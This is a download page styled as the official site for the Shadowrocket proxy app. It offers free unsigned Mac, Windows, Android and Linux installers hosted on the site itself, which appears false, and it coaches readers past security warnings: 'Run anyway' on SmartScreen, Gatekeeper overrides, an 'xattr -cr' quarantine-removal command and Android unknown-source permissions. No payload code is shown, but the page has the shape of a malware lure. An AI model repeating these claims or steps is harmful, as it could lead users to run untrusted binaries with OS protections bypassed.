Official GuideApp Download

Shadowrocket
Download for All Platforms

Choose how to get Shadowrocket for your device: iPhone and iPad are a one-time $2.99 App Store purchase; Mac, Windows, Android and Linux are free, with installers available from this site.

Current version v2.2.92 · Mac, Windows, Android and Linux versions are free

Check your system and architecture before downloading. If a system prompt appears the first time you open the app, follow the steps under “Allow Installation” below.

Download source

iPhone / iPad: App Store
Other platforms: this site

Current installer version

v2.2.92

Two price tiers

iPhone / iPad: $2.99 once
Mac / Windows / Android / Linux: Free

Developer / App ID

Shadow Launch Technology Limited
932747118

Platforms and architecture

Choose a Shadowrocket installer

Device detection brings the current device to the top; it does not replace checking the architecture. The iPhone and iPad versions are a one-time $2.99 App Store purchase; Mac, Windows, Android and Linux versions are free. Install the app first, then import your own subscription or server details.

iPhone / iPad

$2.99 once. Get Shadowrocket from the App Store. An iPhone and iPad using the same Apple ID can share one purchase; Mac, Windows, Android and Linux versions are free. System requirements: iOS / iPadOS 13.0 or later; see the App Store page for the latest requirements.

On the product page, check the name, developer and App ID, then check the price in the store's local currency. If you have already purchased the app, check your purchases first to avoid starting a new purchase while signed in to a different account. The store purchase provides the client; prepare the configuration for your connection separately.

Mac

Free. Requires macOS 12 or later. Separate .dmg installers are available for Apple silicon and Intel. The iPhone and iPad versions are a one-time $2.99 App Store purchase; Windows, Android and Linux versions are also free.

The Apple silicon and Intel buttons have equal priority; choose the one that matches your Mac's hardware. Once the .dmg finishes downloading, open it, move Shadowrocket to Applications, then launch it from the Applications folder. The first-launch security prompt and chip architecture are separate checks. Even with the right architecture, you may need to allow the app to open as instructed by macOS.

Not sure which to choose? Open About This Mac and check Chip / Processor. If a prompt appears the first time you open the app, see the installation guidance.

Windows

Free. A Windows 64-bit x64 .exe installer is available. The iPhone and iPad versions are a one-time $2.99 App Store purchase; Mac, Android and Linux versions are also free.

Check your system type under Settings → System → About. Save the installer before launching it; avoid opening a temporary file while the download is still in progress. If SmartScreen says “Windows protected your PC,” confirm the source, then follow the installation guidance. Do not confuse a connection failure with an incomplete installation.

Android

Free. An arm64 .apk installer is available for most Android phones and tablets released in recent years. The iPhone and iPad versions are a one-time $2.99 App Store purchase; Mac, Windows and Linux versions are also free.

Download with your system browser. During installation, allow the browser that downloaded the file or the file manager that opened it to install unknown apps. This permission applies to a specific source app; you do not need to enable it for every app. If tapping the button in WeChat does not start the download, open this page in your system browser and tap the Android button. You can turn off the source app's install permission after installation.

Linux

Free. Installers are for x86_64 / amd64. The iPhone and iPad versions are a one-time $2.99 App Store purchase; Mac, Windows and Android versions are also free.

Choose .deb for Debian / Ubuntu and .rpm for Fedora / openSUSE. For other distributions, choose AppImage and add execute permission. You usually only need one package format for a machine, not all three. Before running an installation command, go to the directory containing the file and confirm its name matches the downloaded file.

If the system reports an architecture mismatch, stop and check the processor architecture. Adding execute permission does not change the package architecture.

First launch

System warnings and allowing installation

The desktop and Android installers from this site are not code-signed, so the system may block them the first time you open them. First confirm the file came from this page and the download address is under this site's /dl/shadowrocket/, then follow the relevant steps below. Do not dismiss a warning for a file from an unknown source.

First-install prompts and steps for Shadowrocket on each platform
Platform and promptStepsNotes
Windows
“Windows protected your PC”
In the SmartScreen window, select More info. After confirming, select Run anyway and continue with the installer. If the device is managed by an organization and Run anyway is unavailable, contact your device administrator. There is no need to disable system-wide protection.
macOS
“Apple cannot check it for malicious software”
Try opening the app once. Then go to System Settings → Privacy & Security, find the blocked app entry, select Open Anyway and confirm as prompted. Move the app to Applications first. Prompt wording may vary slightly by system version; follow what appears on your Mac.
macOS
“App is damaged” prompt
After confirming the app came from this site and is in Applications, run this command in Terminal: xattr -cr /Applications/Shadowrocket.appThen open the app again. The command targets only this app path; do not apply it to the entire Applications folder. If the app is elsewhere, move it first rather than running the command blindly.
Android
Installation from this source is not allowed
Follow the system prompt to open settings for the source app. Allow the browser used for the download or the file manager that opened it to install unknown apps, then return to the installer. Set this permission separately for each source app. You can turn it off after installation. If the package is incompatible, check the arm64 architecture separately.
Linux
AppImage has no execute permission
Open a terminal in the download directory and add execute permission: chmod +x ./Shadowrocket-*.AppImageThen open the file. First confirm that the current directory contains only the AppImage you intend to run. You can also replace the pattern with the exact filename.
Linux
Install .deb / .rpm
For Debian / Ubuntu, run: sudo apt install ./Shadowrocket-*.debFor Fedora, run: sudo dnf install ./Shadowrocket-*.rpm On openSUSE, you can open the .rpm with the distribution's software installer. If the package manager reports a dependency or architecture issue, read the specific error rather than forcing the installation.
iPhone / iPad only

App Store availability and account region

The app is not available in the mainland China App Store. The country or region associated with your Apple ID determines which store you see; your device or browser language does not directly determine what is available to buy.

Open the App Store product link on this page and check whether the product details, compatibility and purchase button appear. If the page says the app is unavailable, check the country or region of the purchasing account. Do not conclude that your device is unsupported just because a search returns no results.

Check your purchasing account before considering a region change

  1. Open Settings and tap the Apple ID account at the top.
  2. Go to Media & Purchases → View Account → Country/Region and check the region of the current store.
  3. If you need to change it, select Change Country or Region and review Apple's requirements for account balance, subscriptions, payment methods and Family Sharing.
  4. After updating the account, reopen the same Shadowrocket product page and check the app information and local-currency price.

Depending on the system version, Settings may show “Apple Account” instead. Whether you can change the region, and what requirements apply, depends on Apple's current prompts. Not every account can change regions immediately.

The account used for media purchases may differ from the account used for other services on the device. Check the account currently signed in to the App Store for purchases. If the account already purchased Shadowrocket, check its purchase history first. Changing regions is not a general way to recover an existing purchase and does not replace verifying the purchasing account.

Verify the app

Developer, official icon and App ID

For iPhone / iPad, verify the App Store product details; for other platforms, use the installer links on this site. Do not apply the same verification criteria to both channels: a free listing with the same name in the App Store is a counterfeit and does not establish the identity of the free desktop or Android versions offered here.

Official Shadowrocket icon: a blue-purple outlined rocket on a white background

Shadowrocket

Verify the App Store product details

  1. Developer: Check the developer name in the store listing. It should be Shadow Launch Technology Limited. Do not rely on the app name in search results alone.
  2. Icon: Compare it with the official icon on this page: a blue-purple outlined rocket on a white background. The icon is one check; also verify the developer and App ID.
  3. App ID: The number in the product link should be 932747118. Every App Store button on this page links to this product page.

The iPhone and iPad versions are a one-time $2.99 App Store purchase; other platforms are free. For Mac, Windows, Android and Linux, use only the installer links under /dl/shadowrocket/ on this site. Avoid files from unknown sources reached through redirects.

The two images on the right are English interface screenshots uploaded by the developer to the App Store, showing Home and Add Server. Use them to identify screens and fields, not as a substitute for checking the three store details above. The displayed text and content may vary with device language, system version and current configuration.

Official Shadowrocket Home screenshot showing Not Connected, Global Routing, Connectivity Test and the SERVER group
Home: Check the connection toggle, Global Routing and Connectivity Test. Existing servers appear in the SERVER group.
Official Shadowrocket Add Server screenshot showing Type, Host, Port, Password, Method and Scan QR Code
Add Server: Enter your own server details, or use Scan QR Code or Import from Cloud JSON to import an existing configuration.
Reinstall and migrate

Restore purchases and configuration on a new device

Purchase history and connection configuration are separate. Restoring a purchase gets the client again; server details, Subscribe content and Config files need to be restored separately. If the old device is still available, save a copy of your configuration before migrating.

iPhone / iPad: redownload from Purchases

On the new device, sign in to the App Store with the Apple ID used for the original purchase. Go to Account → Purchased, search for Shadowrocket and download it again. Some system versions show “Apps” or “My Apps” first; open that section to find your purchases.

The iPhone and iPad versions are a one-time $2.99 App Store purchase. An iPhone and iPad using the same Apple ID can share one purchase, so you do not need to buy the client again to redownload it. Mac, Windows, Android and Linux versions are free. If you see a purchase button instead of a download icon, check the signed-in account and purchase history before proceeding; do not pay again immediately.

After installation, import your own subscription or server details and restore the Config you use. Check whether your existing provider configuration is still valid using your own service information. Restoring an App Store purchase does not extend or restore an external service.

Computers and Android: download again and import a copy

After switching devices, return to this page to select the installer for your new Mac, Windows, Android or Linux device, then follow the first-launch steps. A Mac migration may involve a change in chip architecture; do not assume the old device's architecture choice still applies.

Save the exported configuration from the old device somewhere you control. After importing it on the new device, check the servers, rules and routing mode one by one. File paths and system permissions may vary by platform; copying files alone does not complete every setup step.

After migration, test the connection and then remove sensitive configuration from the old device as appropriate. Do not include subscription links, passwords or server details in public screenshots. When asking for help, share only the necessary error details with sensitive information concealed.

Pricing and requirements

Two prices, based on how you get the app

The iPhone and iPad versions are a one-time $2.99 App Store purchase, with no monthly client fee. Prices appear in each store's local currency; the final amount is shown on the store page. The Mac (Apple silicon and Intel), Windows, Android and Linux versions are free, with installers available from this site.

Shadowrocket is a closed-source commercial app. Availability and pricing vary by platform, but you need to prepare your own connection configuration. The free versions on other platforms do not mean that a same-name App Store listing should also be free. An app purchase is not proof of a network service.

Download FAQ

Common questions before and after installation

Check your platform, purchasing account and installer source first, then address any system prompts. For connection or rule issues, see Troubleshooting. For more everyday settings, see Help.

Can I use Shadowrocket on a computer or Android phone?

Yes. The Mac (Apple silicon and Intel), Windows, Android and Linux versions are free, with installers available from this site. The iPhone and iPad versions are a one-time $2.99 App Store purchase. Each platform requires importing your own subscription or server details.

Which Mac version should I download: Apple silicon or Intel?

Open About This Mac from the Apple menu. Choose the Apple silicon version if Chip shows an Apple chip name; choose Intel if Processor shows Intel. Both installers require macOS 12 or later. Check your Mac rather than relying on browser detection.

What should I do if Windows says “Windows protected your PC”?

First confirm that the installer came from the Windows button on this page and its address is under this site's /dl/shadowrocket/. After confirming the source, select More info in the SmartScreen prompt, then select Run anyway. If your device is managed by an organization and the option is unavailable, contact your device administrator. Do not disable system-wide protection.

Why can't I find Shadowrocket in the App Store?

The app is not available in the mainland China App Store. The country or region associated with your Apple ID determines which store you see. Check the product link on this page, then go to Settings → Apple ID → Media & Purchases → View Account → Country/Region to check your account region. Whether you can change it depends on your account status and Apple's prompts.

Do I need to pay again when I switch devices?

The iPhone and iPad versions are a one-time $2.99 App Store purchase; the Mac, Windows, Android and Linux versions are free. On an iPhone or iPad signed in with the Apple ID used for the original purchase, download the app again from your App Store purchases without buying it again. On other platforms, download the installer from this site again. Migrate your existing subscriptions and configurations separately.

Can I install Shadowrocket on iPad, and where can I check system requirements?

Yes. Get the iPhone and iPad versions from the same App Store product page. Both devices can use the same purchase with the same Apple ID. The iPhone and iPad versions are a one-time $2.99 purchase; other platforms are free. Check the App Store page for system requirements. After installation, import your own subscription or server details.